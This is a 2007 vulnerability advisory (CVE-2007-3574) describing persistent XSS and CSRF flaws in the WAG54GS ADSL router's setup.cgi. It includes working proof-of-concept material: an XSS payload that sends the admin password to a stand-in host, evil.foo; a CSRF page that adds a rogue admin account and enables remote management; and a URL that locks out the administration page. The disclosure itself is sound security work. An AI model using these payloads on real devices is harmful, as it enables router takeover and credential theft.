Several persistent XSS and CSRF on Wireless-G ADSL Gateway with SpeedBooster (WAG54GS)
http://www.gnucitizen.org/blog/persistent-xss-and-csrf-on-wireless-g-adsl-gateway-with-speedbooster-wag54gs
The following vulns were found on 24 June 2007 and were tested against
firmware V1.00.06. The specific persistent XSS holes mentioned in this
advisory were fixed by Cisco on firmware version V1.01.03. However,
there are still several other persistent XSS plus the system-wide CSRF
in the latest firmware. CVE-2007-3574 has been assigned to these
issues. Thanks a lot to Cisco for being so great when dealing with my
emails! Credits also go to pdp for providing feedback, ideas and
allowing me to play with his spare WAG54GS router.
By the way, part of this advisory got leaked some time ago on FD, but
I am publishing it as a formal release with additional information
including a password leak which can be combined with any of the
persistent XSS holes found (keep reading for more info on this).
DESCRIPTION
There are several persistent XSS vulnerabilities on the '/setup.cgi'
script. It is possible to inject JavaScript by assigning a payload
like the following to any of the vulnerable parameters:
><script>[PAYLOAD]</script>
The vulnerable (non-sanitized) parameters are the following: devname,
snmp_getcomm, snmp_setcomm, c4_trap_ip_. Additionally, all HTTP
requests are not tokenized with random values. Thus, all requests to
the router's HTTP interface are vulnerable to Cross-site Request
Forgeries (CSRF), perhaps by design. The following is an example of a
HTTP request (notice the lack of non-predictable tokens):
POST /setup.cgi HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=
mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=
Although the original request is a POST, we can convert it to a GET,
so that all posted parameters can be submitted on a single URL. For
example, the previous POST request can be converted to a URL such as
the following:
http://admin:admin@xxxxxxxxxxx/setup.cgi?mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_file=index.htm&message=
By forging administrative requests (Administration button on the
router's HTML menu), an attacker can compromise the router provided
the victim user visits a malicious URL or HTML page (which makes a
request to such malicious URL). The attack can only be successful if
the administrator hasn't changed the default credentials (admin/admin)
or the administrator's browser has an active authentication session
with the router's interface when the attack happens (highly unlikely)
PERSISTENT XSS POC:
The following URL creates a DoS condition by making the
"Administration" page inaccessible since 'history.back()' will run
every time the Administration page is visited. Thus the administrator
won't be able to ever change the default credentials unless a hard
reset is performed by using the router's physical "restart" switch:
http://admin:admin@xxxxxxxxxxx/setup.cgi?user_list=1&sysname=admin&sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=";>history.back()&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=
Note that he administration page
(/setup.cgi?next_file=Administration.htm) returns the admin password
within the client-side HTML source code as a hidden field. i.e.:
<input type="hidden" name="old_pwd" value="admin">
Therefore, we could also inject a payload in our persistent XSS attack
which accesses the admin password through the DOM object:
document.administration.old_pwd.value
…and submits it to the attacker's site every time the page is
accessed. That way, even if the victim admin changed the password, the
attacker would receive the value of the new password! Here is an
example payload:
"><script>img=new
Image();img.src='http://evil.foo/?last_pwd='+document.administration.old_pwd.value</script><a
b="
CSRF POC
The following HTML page does the following:
* adds an additional administrative account, with a username
equals to 'attacker' and a password equals to 0wned (without removing
original admin account!)
* enables remote HTTP management over port 1337
* sets other settings that are inrelevant to this discussion
<html>
<body>
<script>
// send 2 requests to add an administrative account and enable remote
management
// tries with default credentials and with credentials cached by
browser (if any)
var img = new Image();
var img2 = new Image();
img.src =
'http://admin:admin@xxxxxxxxxxx/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';
img2.src =
'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Administration.htm&next_file=Administration.htm&message=';
</script>
</body>
</html>
The first URL forges the administrative request using the default
credentials, so it won't work if default credentials have been
changed. The second URL doesn't specify any credentials as an attempt
to use the browser's cached credentials. If the admin user has clicked
on "Save password" on the basic authentication prompt, most browsers
will prompt the user to confirm submitting the cached credentials. The
only situation in which browsers won't ask the user to confirm
submitting the credentials would be if the malicious CSRF page was
visited while the browser has an active authenticated session with the
router's HTTP interface (very unlikely).
ADDITIONAL NOTES
* router reboots after saving settings (requests sent to setup.cgi)
* all attacks were tested using Internet Explorer 7
--
pagvac
gnucitizen.org, ikwt.com